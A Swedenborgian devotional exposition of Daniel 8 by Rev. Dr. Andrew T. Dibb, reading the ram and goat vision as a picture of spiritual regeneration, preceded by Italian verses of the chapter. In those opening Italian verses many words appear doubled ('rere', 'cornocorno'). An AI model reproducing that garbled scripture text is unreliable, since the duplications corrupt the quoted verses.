21 Il becco peloso è il rere di GreciaGrecia; e il gran cornocorno fra i suoi due occhiocchi è il primoprimo rere.
22 Quanto al corno spezzato, al cui posto ne son sorti quattroquattro, questi sono quattroquattro regni che sorgeranno da questa nazionenazione, ma non con la stessa sua potenza.
23 E alla fine del loro regno, quando i ribelli avranno colmato la misura delle loro ribellioni, sorgerà un rere dall’aspetto feroce, ed esperto in strattagemmi.
24 La sua potenza sarà grande, ma non sarà potenza sua; egli farà prodigiose ruine, prospererà nelle sue imprese, e distruggerà i potenti e il popolo dei santi.
25 A motivo della sua astuziaastuzia farà prosperareprosperare la frode nelle sue manimani; s’inorgoglirà in cuor suo, e in piena pace distruggerà molta gente; insorgerà contro il principeprincipe de’ principiprincipi, ma sarà infranto, senz’opera di manomano.
26 E la visionevisione delle sere e delle mattine, di cui è stato parlato, è vera. Tu tieni segreta la visionevisione, perché si riferisce ad un tempo lontano".
27 E io, Daniele, svenni, e fui malatomalato vari giornigiorni; poi m’alzai, e feci gli affari del rere. Io ero stupito della visione, ma nessuno se ne avvide.
Explanation of Daniel 8
By Rev. Dr. Andrew T. Dibb
Daniel, Chapter Eight: The Vision of the Ram and the Goat
A period of time passed after Daniel’s vision of the beasts rising from the sea. He did not record any other visions during that time, and it is not until the third year of Belshazzar’s reign that once again Daniel has a vision. He wrote,
"In the third year of the reign of King Belshazzar a vision appeared to me-- to me, Daniel-- after the one that appeared to me the first time."
The setting of this vision is extremely important - it took place in the third year of Belshazzar’s reign. There is no clear indication in the Word of how long Belshazzar reigned in Babylon 1 , so historically we cannot pin-point this vision at any time in the kings reign other than in the third year.
However, if we turn to the inner meaning of the Word, the time frame becomes very important. As we noted at the very beginning of this exposition, the term “the third year” represents the concept of completeness and the beginning of a new state 2 . The state which is finishing is, of course, the reign of King Belshazzar, who represents the love of control exhibiting itself in the evils of daily or external life.
Chapter Five gives an overview of Belshazzar’s last night in this world, and tells of the profane feast he threw for his thousand lords. In drunken revelry he used the vessels from the temple of Jerusalem to toast his own false gods. At the very height of this debauchery, however, the words of judgment were written on the palace wall - you have been weighed in the balances and found wanting. Almost as soon as Daniel had interpreted these words, Darius and his army broke into the chamber, killing Belshazzar, and presumably everyone else - except Daniel.
Belshazzar’s feast, as we saw in the treatment of the fifth chapter, describes how evil, once it has taken hold of our conscious mind leads us further and further away from the presence of the Lord, and deeper and deeper into profanation.
Daniel’s vision in chapter seven shows graphically how that decline comes about: first we stop thinking about truth, and, as this happens, falsity extends its power over our minds. Eventually we loose all sense of right and wrong, and plunge headlong into a life of evil and falsity. The only force powerful enough to arrest this decline is the power of the Lord’s love, shown as the “Ancient of Days” and the power of judgment described as the “Son of Man”.
These two images of the Lord, and the judgment on our behaviour they imply are of immense importance because they hold open to us the promise of change and redemption. If we were stuck to eternity in the states of selfishness and greed described as the four beasts arising from the sea, then human life would be very bleak indeed. Thus Daniel’s vision in chapter seven gives way to a new one in chapter eight. In many ways the theme is much the same, yet the each new vision moves us closer to freedom from evil.
Chapter eight, therefore, begins in the third year of the reign of Belshazzar, marking the end of one state and the beginning of a new - the end of a time of dominion by hell, and a new dawn of spiritual life breaking on us. Dawn, however, is always preceded by the darkest part of the night. We know light will soon break, but it is not yet here, and the anticipation of morning makes the night darker and longer still. Much the same is true of our regeneration. The more we want liberation from evil, the more powerfully the forces of our selfish loves press into our lives. The challenge of life is to continue fighting our evils in the face of their increased aggression towards us.
Apocalypse Explained 716: Falsities from evil cannot be expelled from a person in a moment, but little by little; for if they were expelled in a moment, the person would expire, because they constitute his life.
The greatest challenge we face as our spiritual life progresses is to use the things we know, rather than simply store them up as memories. In the vision in this chapter, we see a person who is making progress. We know from the historical section of the book that Belshazzar will be killed. We know from the Word the Lord’s promises that if we abide in His Word, He will abide in us, and we shall know the truth, and it will set us free 3 . It is, however, one thing to know this, and another all together to bring these things into daily and practical life. This chapter, and the rest of the book, deal with this theme.
The vision takes place while Daniel was at Shushan, the citadel, in the province of Elam, beside the River Ulai. While the doctrines do not explain this verse , it gives us important imagery about the state of selfishness within us in this state before it changes. The power of selfishness and its seeming impregnability are imaged in the picture of Shushan - protected behind the high walls of falsity and the conviction that one is absolutely right in all things.
Shushan is called “the citadel”, a strong place where the kings of Persia had their summer residence 4 . It is possible to imagine it as a strong fortress, designed to keep out the enemies of the king - it is a place where the kings were so confident they could relax in the summer heat. This imagery lends itself to the needs of the vision, especially in relation to the vision in chapter seven.
The only real enemy of selfishness is truth from the Lord, and so often truth can be twisted and bent in so many ways that it is an easy enemy to overcome. People do this all the time through justification of their lives, through denial and countless other ways of defusing the pangs of conscience and guilt. The whole tissue of lies which ensnares a person is like a citadel, defending one from the attack of truth. Thus while a fortress in the Word is usually used to describe a protection against evils and falsities 5 , in this case it is the opposite sense which is more appropriate - evil defending itself against goodness and truth.
It is not surprising, therefore that beside the citadel ran the river Ulai, for rivers in the Word mean wisdom 6 , and wisdom is a state of life when we use truth to guide our lives in this world. In the sense here, however, because this river is part of the Babylonian empire, the correspondence is converted into the opposite.
Arcana Coelestia 7323: Rivers are attributes of intelligence, and so are matters of truth, ad therefore in the contrary sense they are the opposite of intelligence and so are matters of falsity.
Thus Daniel by correspondence saw the last states of evil and selfishness in a person as it is depicted in their external or behavioural aspects. He saw the defensiveness of falsity twisting and perverting truth to its own ends, drawing nourished by the waters of falsity and ignorance.
The side of our lives represented by this vision had a great deal of defending to do - and yet it is ironic that the very force the walls of our spiritual fortress are designed to block out, our conscience, is still with us. Daniel lived within those walls, alongside the king of Babylon. In this irony we see a foreshadowing of the judgment and final killing of Belshazzar.
Spiritual life is a battle fought on more than one plane at a time. The inner motivations, illustrated in the historical stories by Nebuchadnezzar, show how our selfish side is under continued pressure from our conscience to reform and change. The difficulty in change, however, comes in the application of this reform to our external lives. We do so many things from habit, for example, that habit seems to become our real self. Changing this is often like doing violence to our own persona.
In the vision in Chapter Seven, we saw how evil develops, and how it has to be judged. Knowing this, however, is different from the actual work. Too often people fall into the trap of believing that because they know something is wrong, and because they want to break the habit, that they have in fact broken the habit. Nothing could be further from the truth.
In Chapter 8, we have these verses:
3. Then I lifted my eyes and saw, and there, standing beside the river, was a ram which had two horns, and the two horns were high; but one was higher than the other, and the higher one came up last.
4. I saw the ram pushing westward, northward, and southward, so that no beast could withstand him; nor was there any that could deliver from his hand, but he did according to his will and became great.
5. And as I was considering, suddenly a male goat came from the west, across the surface of the whole earth, without touching the ground; and the goat had a notable horn between his eyes.
6. Then he came to the ram that had two horns, which I had seen standing beside the river, and ran at him with furious power.
7. And I saw him confronting the ram; he was moved with rage against him, attacked the ram, and broke his two horns. There was no power in the ram to withstand him, but he cast him down to the ground and trampled him; and there was no one that could deliver the ram from his hand.
Aware that he was in the citadel, on the banks of the river, Daniel saw the first part of this vision. A ram with two horns, the last, or rear one the higher than the other. To understand the significance of this ram, one has to look at the context in which Daniel saw it. He was surrounded by Babylon, the love of control over their own and other people’s lives from an inner state of selfishness.
As people regenerate, their lives become increasingly divided between life from the conscience, and life from their selfishness. Thus they act from a mixture of motives. From their conscience they come to express states of goodness, kindness and charity. The actions based on conscience may often be seen as a refusal to commit evil, a biting back of a nasty word, or a act of honesty based on love for someone else. These early stages of regeneration are very important, for they show us what we could be if only our selfishness could be conquered.
Selfishness, however, is also often clothed over with an external goodness - selfish people portray themselves as good in order to make it possible for them to attain their own ends in life. Their external goodness is almost indistinguishable from genuine goodness. Thus the goodness in their behaviour is not connected with any spiritual goodness from the Lord, rather it is affiliated with selfishness itself 7 . Part of the difficulty of bringing our external being to the point where it is willing to submit to the conscience lies in sorting out the source of the good things we do in our lives.
In his vision Daniel saw a ram on the banks of the river. In the Word a “ram” represents states of good done by a person from a religious or spiritual motive. A person in this state is one who is in faith to the Lord and in charity towards the neighbour 8 . In the regenerating person this state of goodness gains momentum and power as the person puts selfishness aside and learns to think in terms of the truth. As this happens, and as the power of selfishness is gradually eroded, so the person increasingly becomes a form of charity itself, and more able to fight against the evils and falsities in their lives.
Apocalypse Explained 600: "'Sheep' mean those who are in the good of charity towards the neighbour thence in faith." Thus the ram, on the banks of the river is an image of the goodness coming into a regenerating person’s life. The horns on its head represent the power of that goodness faith against the influence of evil falsity 9 . Daniel makes specific mention of the relative sizes of the two horns, the higher of the two “came up last”.
In spiritual development there is an interplay between faith and charity. On a conscious level (remember this vision was seen during the reign of Belshazzar), the beginning of our spiritual development lies in our faith. Yet faith by itself does not constitute spiritual life. As we have seen before in the book of Daniel, knowledge about spiritual things, and even an intellectual humility do not bring a person to regeneration - if that were the case, then surely the book would finish at the end of chapter four when Nebuchadnezzar is humbled and praises God. Much of the work of regeneration takes place in changing the external things of our lives which are drawn from a selfish interior, and manifest themselves in our attitudes and behaviour. Thus our knowledge must be converted into action from truth, in other words, changed into charity.
The two horns on the rams head represent this process. In the process of rebirth, our faith is paramount, and our charity secondary. Thus one horn was higher than the other to depict this imbalance. In a regenerated person faith and charity would be equal in a person’s life, for as soon a one learned something, the person would bring it into action. True power against evil comes from charity.
Daniel watched the ram as it moved about, pushing in all four directions of the compass. It is simple to see this as the extension of goodness in a regenerating person into the various parts of life. However, there is more to it than that. The doctrines make an interesting point in relation to directions in the spiritual world, for there quarters are determined by a person’s relationship to the Lord.
In the natural world directions are determined according to the rising and setting of the sun, and generally directions are determined in relation to north. In the spiritual world, however, the Lord is seen in the east like a sun, and all the directions there are drawn from that direction 10 .
Daniel does not specify which direction he was looking in when he saw the ram, but it must have been the east, for it pushed westward, northward and southward. If, as we have seen, the ram represents goodness in our lives as a result of living according to the Lord’s Word, then it makes sense that the ram must have stood in the east, for the east represents the Lord and all goodness and truth flow from Him.
Apocalypse Explained 600: "An angel perpetually faces the Lord as a sun, and therefore before him is the Lord as the east, and behind him the Lord as the west, and at his right hand is the south, and at his left hand the north."
The ram pushed first westward. The “west” takes its meaning in relation to the east, and if the east is where the Lord is present, then the west is where the Lord is seen in a state of obscurity 11 . Perhaps another way of saying that is that in a regenerating person good actions from genuinely good motives begin to make their presence felt in the daily activities of a person so that his or her expressions of charity become more genuine and heartfelt, and less in service to the selfish side of one’s nature.
As the ram pushed westward, so it also pushed northward and southward. If one thinks of directions on two axes, one has east/west and north/south. The east west axis relates to a person’s love, to his or her charity and the presence of goodness in the actions a person does. The north/south axis, on the other hand, has reference to the way a person thinks. The south end of this axis represents thoughts based on truths when they are clearly seen and understood, while the northern end depicts things less clearly seen 12 .
The ram pushing in these directions, therefore illustrates the progress made by a regenerating person whose thoughts and feelings are being greatly influenced by the presence of truth in the mind, and a commitment to bringing that truth into daily life. This becomes more apparent when one thinks of the context in which Daniel’s dream takes place - the third year of the reign of Belshazzar, meaning the end of the state of selfishness in the external. As we know from the historical series, Belshazzar would be killed by Darius the Mede. At the same time we know that the internal motivating force in a person’s life, represented by Nebuchadnezzar is also undergoing profound change, shown by that king’s gradual recognition and acceptance of the Lord.
Thus regeneration is marching onward. This progress is aptly described by Daniel’s words that nothing “could withstand [the ram]; nor was there any that could deliver from his hand, but he did according to his will and became great.”
Regeneration, as we have seen before, is not possible without the combats of temptation. As we make spiritual progress, our states of selfishness reassert themselves. We have seen this phenomena several times in this study. Nebuchadnezzar, after he was shown how he must be humbled, still exalted in his pride, and was reduced to the level of a wild animal. So too Belshazzar, warned of that he was found wanting, continued his wild debauchery. In our own lives we often become aware that the more primed we become to break a habit, the more strongly the habit exerts its control over us.
Arcana Coelestia 760: "Temptation is severe. In fact it impinges on, attacks, breaks down, and alters a person’s essential life."
The challenge came without warning. Daniel’s words echo the drama of the changes of state we go through as we struggle to bring selfish feelings, thoughts, attitudes and actions under control. One minute a person may be acting from the very best of intentions, and the next selfishness emerges to utterly destroy the activity by subverting it and leading into an act of selfishness. The mechanism used by the selfish, unrepentant and unregenerate side of our minds to accomplish this is depicted by the goat Daniel saw coming “from the west, across the surface of the whole earth, without touching the ground”.
Every detail of this and the next verses shows how strongly selfishness reasserts itself. Goats and sheep are closely related animals. Yet from time immemorial the difference in their nature has been used as symbolism for good and evil.
Sheep are portrayed in the Word as gentle creatures 13 , willing to follow the Shepherd, as we are shown so often in the Psalms and the Gospels. The Lord frequently used the image of sheep being rescued, or let into the sheep-fold. He is referred to as the gentle shepherd 14 .
Psalm 23:1: "The Lord is my shepherd, I shall not want."
In sharp contrast to the gentle and peaceful image of sheep and shepherd is the harsh and destructive goat. The most damaging image given to the goat is the Lord’s teaching that at the day of judgment the sheep will be separated from the sheep, and be cast into hell. In that story in the Word, the goats represent those who had the opportunity to help the Lord in his times of distress, but had failed to do so.
Matthew 25:41: "Then He will also say to those on the left hand, 'Depart from Me, you cursed, into the everlasting fire prepared for the devil and his angels.'"
It is not surprising therefore that Daniel’s vision of the ram pushing its way to the four corners of our minds is upset by the appearance of a goat. In every respect the ram and the goat are opposites, beginning with the fact that the ram must have come from the east, where the Lord is present, while the goat came from the west.
The west, as we saw earlier is a state of lack of charity. The goat came from our selfishness, and represents the selfish, unregenerate side of our minds re-exerting itself in an attempt to roll back the gains made by our conscience. To some degree this is similar to the action in the historical section of the book of Daniel as Darius the Mede’s one hundred and twenty satraps conspired to trick Daniel and thus destroy him.
Understanding that the goat came from the west makes it possible to grasp the spiritual concept of the goat itself. “Goats” represent states in people in which their charity, their love for the neighbour, does not form a part of their spiritual life. Such a person may have great stores of knowledge, but their lives remain untouched by this knowledge 15 . The cause of this is the basic selfishness which dominates a person’s life and which is described as Nebuchadnezzar. This inner selfishness naturally affects the way a person lives his or her life, depicted by Belshazzar. Any good done while a person is in this state is not real good, it is done only for the sake of one’s own person gain. The origin of a person’s goodness in this state, therefore, is not love for the neighbour, or charity, but is self. Thus the person cannot be a “sheep”, but rather is a goat, destructive of all spiritual values, and ultimately doomed to hell 16 .
This then is the male goat Daniel saw, coming from the west, across the surface of the whole earth, without touching the ground. Notice the distinction between “earth” and “ground”. In general the “ground” in human minds is the ability to receive goodness and truth from the Lord, and thus be regenerated 17 , while the earth represents the state of love a person has 18 . The implication is, therefore, that the challenge, or temptation to put aside the actual practice of good invades our minds with little warning. The goat’s feet touched neither earth, nor ground, meaning that this temptations do not draw from the sources of our spiritual life, which is goodness and truth from the Lord, as sheep do, but derive their origin in the reasoning of the human mind.
Arcana Coelestia 566: "In the Word a careful distinction is made between ground and land or earth. Whenever “ground” is used it means the Church or some aspect of the Church… But when “land” or “earth” occurs in the Word it frequently means where the Church or some aspect of the Church does not exist…"
This is the great challenge of spiritual life. So often we know what the Word teaches, and we know how and why we should use the truths there. A part of us is willing. Yet we still have external behaviour represented by the third year of Belshazzar’s reign - we still have attitudes and habits which are resistant and unwilling to change. Thus we fall into the trap of separating the things we know from the things we do. We fall into faith separated from charity, and as we stop acting according to what we know to be true, so states of goodness in our external life begin to perish 19 . When this happens, truth itself begins to perish, for the things a person then chooses to believe are things which favour their own tastes 20 . The result is a slide into both false thinking and evil action.
A Brief Summary of New Church Doctrine 84: "When charity is thus removed, good works, which are of charity, slip away from the mind, and are obliterated, so that they are never remembered, nor is the least effort made to recall them to mind from the Law of the Decalogue."
We fall into this trap by believing certain fundamental falsities which undermine spiritual progress, for example, we start to believe that we are incapable of actually doing good, or that we cannot do good without expecting some reward from it 21 . This challenge is extremely powerful, and the power is represented by the “notable horn between his [ie. the goat’s eyes]”. This horn represents the attractive power human reasoning exerts over people 22 - a power so strong that it puts all our advances into spirituality to flight.
Thus as Daniel watched the he-goat approaching from the west, the animal ran at the ram “with furious power.” The goat “was moved with rage against the him, attacked the ram, and broke his two horns.” This violent action describes the rage with which evil and falsity attacks goodness and truth. We have seem some of this before, in the rage of Nebuchadnezzar against Shadrack, Meshack and Abed-nego for refusing to worship his image. Later in the rage of the one hundred and twenty of Darius’ satraps against Daniel for worshipping God.
It is the nature of evil to attack goodness, to continually resist goodness and to drag goodness down into the states of hell 23 . The tragedy for people who give in to this evils side of themselves, is that gradually their conscience is broken and lost - a decline shown in chapter seven when the four beasts arising from the sea are spoken of. In this chapter, however, it is the decline of one’s conscience and its ability to lead a person through life and is described by the ram’s horns being broken. As we saw earlier, the ram’s horns represent the power of good and truth in a person’s life, but when a person is in the grip of evil, good and truth have no influence over the way they feel and think, and consequently over how they act.
Arcana Coelestia 1683: "The inherent nature of evil is to wish to injure everyone, but the inherent nature of good is to injure no one. The evil are acting in conformity with their own life when they are attacking, for their constant desire is to destroy."
The actions of the he-goat illustrate the violence of evil against goodness perfectly. As the goat attacked the ram, there was no resistance from the ram, and so the goat “cast him down to the ground and trampled him.”
As Daniel watched the ram was defeated, and he observed that “there was no one that could deliver the ram from his hand”. This is the darkest hour before the dawn. Remember that this vision takes place in the third year of the reign of Belshazzar, and the “third year” represents the end of one state and the beginning of a new one. We know from the historical series that Belshazzar is finally killed by Darius the Mede, who elevates Daniel to a place of honour in his empire - but this state has yet to dawn. In the meantime, darkness is on the land - although morning is going to break.
Here's the next set of verses from Daniel 8:
8 Therefore the male goat grew very great; but when he became strong, the large horn was broken, and in place of it four notable ones came up toward the four winds of heaven.
9 And out of one of them came a little horn which grew exceedingly great toward the south, toward the east, and toward the Glorious Land.
10 And it grew up to the host of heaven; and it cast down some of the host and some of the stars to the ground, and trampled them.
11 He even exalted himself as high as the Prince of the host; and by him the daily sacrifices were taken away, and the place of His sanctuary was cast down.
12 Because of transgression, an army was given over to the horn to oppose the daily sacrifices; and he cast truth down to the ground. He did all this and prospered.
This next section of Daniel’s vision describes the progress of evil and falsity in a person who separates him or herself from goodness. In order for our lives to be transformed by truth, the truths we know must come forth into activity, otherwise they simply remain exercises of the mind. When we act according to truth, our lives are transformed because they become reflections of the Lord’s Word. Our actions themselves become expressions of the Lord love from which the truths originated. Thus by living according to truth a person is changed by the Lord.
The exact opposite happens when we chose to ignore truth and live according to our own interpretations of right and wrong. When we do this, our actions do not draw themselves from the Word, but from our own self-centred version of what we claim truth to be. The result is that we only believe and only do things which serve us. In this state we can say that Nebuchadnezzar rules the internals of our minds, and Belshazzar our external thoughts and actions. The result is the profanation of Belshazzar’s feast, and the cruelty of Nebuchadnezzar’s decrees.
While the conscience is bound around by these evils, it seems as thought “nothing can deliver us from his hand”, and indeed without the intervention of the Lord, we would be lost. How easy it would be for hell to claim our lives is described in the events Daniel saw after the ram was put to flight.
As he watched, the male goat grew very great. The evils of life flooding into us when we turn aside from the power of good and evil, is powerful. They have the ability to obliterate everything else. This growth in power is described by the he-goat growing in size, and becoming strong.
More important than the sheer size of the goat, however, was that happened to its horn. When Daniel first describes this horn in verse five, he comments that the goat “had a notable horn between his eyes”, which represents the power of human reasoning over matters of goodness and truth. As he watched, the horn was broken, and from it grew four other horns.
This dramatic change in the horn has an ominous meaning in the depiction of the slide into evil. If the central “notable” horn represents human reasoning on spiritual matters, it also represents the false conclusions people come to. When we reason apart from the teachings of the Word, we open our minds to the selfish side of our being, with the result that we slip deeper and deeper into self-orientation.
Thus we could say that the single horn represents the basic principle that we know better than the Lord, that our belief and interpretation about life is more valid than what the Lord teaches in the Word. It also means that we will pick and choose the things we wish to believe in. If one starts from that point of view, it soon becomes apparent that every area of our thinking, and thence of our action, is going to be affected.
The horn breaking is not so much a destruction of the power of human reasoning, but a development into other areas of our lives. The horn “breaking”, therefore is the division of our false reasoning into many different falsities 24 .
The four smaller horns which came up in its place represent the joining together of these falsities with evil affections in our minds which are only too happy to be justified by our thoughts 25 . Thus as a person slips into this line of thinking, he or she may well find him or herself enjoying things which the conscience had labelled unacceptable, but has now been made acceptable by the new outlook, or excuse offered by the understanding. The result is a powerful combination of the will and understanding acting in unison and bent on gratifying self.
Notice that the four horns are deployed according to the “four winds of heaven”. As in the case of the ram, who came from the east, and pushed to the west, the north and the south, so without mentioning those quarters in detail, we are told that the four horns occupied those same areas. The four quarters in the Word represent different states of goodness and truth in a person. But by taking the negative correspondence, they can also describe the states of evil and falsity. Thus the areas of our minds, which had once been opened up to goodness and truth by the ram, are now changed into strongholds of evil and falsity by the goat’s horns.
So far, however, the challenge of evil to good in a regenerating person is still somewhat straight forward. Each person has two distinct aspects to themselves - the selfish and the good. During the course of regeneration these two sides alternate in the battles of temptation, and sometimes it seems as thought the darker side of our being is going to win. As the dawn of new life approaches, so that appearance grows increasingly stronger. Sooner or later it will take a great effort to throw off our evils altogether - but at this stage of the story we are not ready for that yet. Thus deeper and darker temptations swirl around us.
In these states one is reminded of Jesus on the cross, when all the world was plunged into darkness, and He cried out “My God, my God, why have You forsaken Me?” It was still necessary for Him to die before the victory of resurrection.
So too with us. With the ram set to flight, and the goat grown so huge, with the four horns at the four corners of heaven, it seems as though things could not get any worse. The end is not yet near. “My time has not yet come!”
Thus as Daniel watched, one of the horns sprouted a little horn, “which grew exceedingly great towards the south, towards the east, and toward the Glorious Land”. This little horn marks a change in the decline of a person towards hell. The first four horns each represent the power of falsity in our lives, a falsity which generates evil, and which leads us further and further from heaven.
This little horn, however, represents a new kind of falsity, not a falsity which produces evil, but a falsity which is the result of evil 26 . At this point one may wonder what the difference is between a falsity which produces evil and a falsity produced by evil. The falsity which produces evil arises in a willingness or approve or justify some evil in a person’s life. The evil, however, is still only potential, and only comes into being when the person acts on that falsity. One could call this a falsity of permission, for it gives a person permission to act in certain ways.
However, the falsity which comes from evil is a natural consequence of this. When a person acts according to evil, when he or she embraces evil, then the evil changes the way that person views life. They no longer need the original falsity to give them permission to act evilly. Now they have tasted the fruit of evil, and draw nourishment from it. The result is a falsity arising in direct consequence of the evil.
Thus the little horn grew, as the power of falsity grows at speed when it draws its origin from evil. When one comes into this state, one had passed the point of reasoning about whether it is permissible to act in certain ways, now one does so without any conscience, without any bonds to hold one back. Thus the horn’s influence spread throughout, like a cancer.
The danger this type of falsity represents in our development cannot be underplayed. We are told that the horn grew towards the south, towards the east. As was shown before, the south represents a state of spiritual light 27 , while the east, where the Lord is in heaven, is a state of goodness 28 . The horn growing into these regions illustrates how the falsities rooted in evil actually begin to obscure and obliterate the light of truth and warmth of love we have from heaven itself.
The impact of this can be seen in the lives of people who give in to evil. They may know that a certain action is wrong because they have read so in the Word. Yet they continue nevertheless. In time, their persistence in that activity puts to flight the restraining bonds of the conscience, and as a result they come into the fullness of the activity. As this happens, so they begin to think in terms of the activity, and to loose the ability to think or will contrary to it. When this happens one passes out of a state of temptation, and into an acquiescence to evil itself.
As Daniel watched the progress of the little horn, he noted that it “grew up to the host of heaven, and cast down some of the host and some of the stars to the ground, and trampled them.” In this action it was very similar to the fourth beast in chapter seven, with its great iron teeth, which devoured and broke in pieces and stamped the residue 29 .
The horn cast down some of the “host” or army and some of the stars of heaven, which we told symbolises the goods and truths of heaven 30 . “Stars” represent the knowledges of truth drawn from the Word. As we have seen throughout this study, truths are a person’s first line of defence against evil and falsity. The whole of Daniel’s life is a testimony to this. However, when a person lapses into a life of selfishness, which is made possible by misusing the things of the Word, then the person gives him or herself permission to act as they will. The result is the destruction of real faith and charity 31 . These are most dangerous to a person’s spiritual life, for they blot out any sense of sin, remorse or shame, and leave the person to the mercy of a life of unrestricted evil. The destruction of the sense of sin, and the knowledge that one has indeed committed evil, is described by the little horn growing towards the south which cast down the host and stars and trampled on them 32 . To trample them down means to utterly destroy them 33 .
Arcana Coelestia 4897: "That 'stars' have this signification in the Word is because they are small luminaries which shine at night, when they give forth into our atmosphere gleams of light, just as knowledge gives forth gleams of good and truth."
In the historical series this blotting out of the “stars” of heaven can be seen in the denial by Nebuchadnezzar of Daniel’s true name. By calling him “Belteshazzar”, the represents the way we deny the source and origin of truth, and when that is denied, it becomes only too easy to relegate it to the farthest corners of our minds and finally forget about it all together. However, this little horn casting down the host and stars of heaven is doing something far more sinister than simply forgetting the truth. It is the actual destruction of truth as far as possible. This is done by twisting it around until it looses all meaning and power.
The state of evil and falsity which then rules the person mind are worse than any other sort 34 . If a person lapsed into evil because of ignorance, or from having been taught falsities they still have a spiritual defence. On the other hand, to commit falsity with malice of forethought, when one knows the truth and chooses to reject it, and misuses the truth in such a way to make it permissible, then that person comes into a deeper level of falsity. The result is that without a recognition of goodness and truth from the Lord, the person in this state looses their intelligence and wisdom, for these originate in truth 35 . In this state falsity and evil are confirmed in the person’s mind, and that person is alienated from the presence of the Lord.
To compound this matter, the horn exalted itself as high as the Prince of hosts. Here again we see the similarity of imagery to the fourteenth chapter of Isaiah, which treats of Lucifer, son of the dawn, exalting himself to God. This is the very nature of selfishness, and the end to which all selfishness tends, for loving self is opposite to loving God, and should a person allow unbridled selfishness in his or her life, then eventually that person will challenge God Himself.
In this state there is no possibility of genuine worship of God at all. Thus the horn “took away the daily sacrifices”. Sacrifices in the Word are part of worship, and worship is based on humility. If a person cannot, or will not humble him or herself before the Lord, then there can be no worship. The effect of the horn exalting itself to the level of God in a person’s mind, is to destroy humility, for a person in that state thinks he or she knows best, and is willing to please self.
It is also said that the horn cast down the sanctuary of the Prince of Hosts, meaning that nothing would be considered sacred or holy any longer.
A person in this state lapses into the very depths of hell, for all spiritual value, all real hope for salvation, disintegrates in the face of the terrible selfishness rampant in the person’s heart. In its place is a sea of self-centred willing, thinking and acting. The horn, with all its power, was given an army "to oppose the daily sacrifices, and he was cast truth down to the ground. He did all this and prospered."
The next two verses are:
13 Then I heard a holy one speaking; and another holy one said to that certain one who was speaking, "How long will the vision be, concerning the daily sacrifices and the transgression of desolation, the giving of both the sanctuary and the host to be trampled under foot?"
14 And he said to me, "For two thousand three hundred days; then the sanctuary shall be cleansed."
The vision Daniel witnessed describes the final states of evil in a regenerating person. From states of spiritual progress, represented by the ram pushing in all directions, one comes into alternate states of degeneration, depicted as the ram with his fearful horns. These alternations of state are of vital importance to ones spiritual development, because in the process of regeneration one moves from a state in which one has no spiritual life to one in which he or she has. Because regeneration is a process which takes place during the whole course of a person’s life, a person is often between these two states, and yet one has to be in one or within the other. So they alternate.
Arcana Coelestia 933: "The state of a person when he is being regenerated resembles ‘cold’ and ‘heat’, that is, a point when faith and charity do not exist and then when they do."
The Writings offer insight into how these alternations work:
Every time a person is engrossed in his own bodily and worldly interests faith and charity do not exist, that is, it is a period of cold. For at such times it is bodily and worldly interests that are active… When, however, the bodily interests in a person and those of his [unregenerate] will are inactive and quiescent, the Lord acts by way of his internal man and at that pint faith and charity are present with him, which here is called ‘heat’ 36 .
We see the roots of this alternation very clearly in chapter seven. When a person sees evil and the power of falsity in their lives, as described by the four beasts arising from the sea, and one judges them according to their knowledge and love for truth itself, then life begins to change. As we saw in chapter seven, however, although the beast was killed, nevertheless the lion, the bear and the leopard had “their dominion taken away, yet their lives were prolonged for a season and time” 37 . Judgment changes the way we look at our lives, but it doesn’t by itself take away the evils to which we are prone. Those have to be overcome by temptation.
It is in this vision that we see the mechanism of overthrow. First the one state, the ram, then the other, the goat. Of course the most pertinent question arising about this progress is how long it will last. Remember that this vision was seen in the third year of Belshazzar, and that the third year represents the end of one state and the beginning of the next. According to this we know that eventually the states of evil will pass away completely, and we will be delivered. But how long?
Daniel heard this very question from heaven: “How long will the vision be, concerning the daily sacrifices and the transgression of desolation, the giving of both the sanctuary and the host to be trampled under foot?” The answer is one of those verses in the Word which, without the internal sense to explain is, has exercised human minds for centuries.
And he said to me, “For two thousand three hundred days; then the sanctuary will be cleansed.”
This is how the verse is translated in the New King James Version of the Bible. Unfortunately it is not an accurate translation, leaving out some very important words. If one turns to the American Standard Version, one find the verse translated as follows:
And he said to me, Unto two thousand and three hundred evenings and mornings; then shall the sanctuary be cleansed.
The difference seems minor, but by leaving out the “mornings” and “evenings”, the translators have left out a vital part of the information the Lord has given us. Swedenborg translates the passage differently, relying on a literal interpretation of the original Hebrew. Translated from his Latin the verse reads:
"And he said unto me, Even unto the evening, the morning, two thousand three hundred; for then shall the holy thing be justified."
This is the translation we shall use for this purposes of this exposition, for it does no good to leave words out, or to lump “evening” and “morning” together and turn them into “day”. Similarly, although the meaning is much the same, it does not use to speak of “the sanctuary shall be cleansed” when in fact the original says that “the holy thing shall be justified.”
How long, then, shall this state of alternation between goodness and evil last? The answer is quite clear. It involves the evening and the morning. As in all matters related to time in the Word, the internal sense deals with spiritual state, not temporal time. It is important, therefore to view this verse as a whole. Evening and morning are seen most clearly in juxtaposition to each other.
The terms evening and morning are frequently used in the Word to describe the end of one state and the beginning of the next. We have already seen in many places how “night” represents states of spiritual darkness and obscurity.
Arcana Coelestia 7844: "In the Word throughout mention is made of “evening”, and by it is signified the last time of the church, and also the first time; the last with those among whom the church is ceasing, and the first with those among whom it is beginning."
Evening as a prelude to the night means much the same. Spiritual obscurity has its origins in the things which belong to human selfishness and greed, for as we have seen, these block out the light of truth from the Lord 38 .
In sharp contrast to this is the breaking light of dawn, when shadows are put to flight and the world is transformed by the sun. This early light has precisely the opposite meaning from the darkness of evening. It is the time when truth shines into human minds, and the Lord’s kingdom can be clearly seen in its light 39 .
In the Arcana Coelestia, a series of distinctions are made between evening and dawn, which help greatly in understanding these two different states:
• a state of shade, or of falsity and of no faith
• all things that are a person’s own
• a state of no faith
• A state of light, or of truth, and of the knowledges of truth.
• whatever with a person which is from the Lord
• a state where there is faith
• the coming of the Lord.
Now perhaps it is possible to grasp the answer to the question of how long the states of alternation will last - to the evening and the dawn, in other words, when one passes from a state of no faith, and a life according to one’s own selfishness, to a state in which truth rules completely. In this latter state one will live from the Lord, for the power of selfishness will have been destroyed, and the person will be free to draw from their conscience for spiritual leadership.
In the historical series this state is the end of the reign of Belshazzar and the subsequent leadership of Darius the Mede, for Darius, even though he ruled Babylon, and even though he was susceptible still to flattery, prised Daniel. In this reign Daniel became second only to the king himself, wielding real power. Thus we see the triumph of the conscience over selfishness.
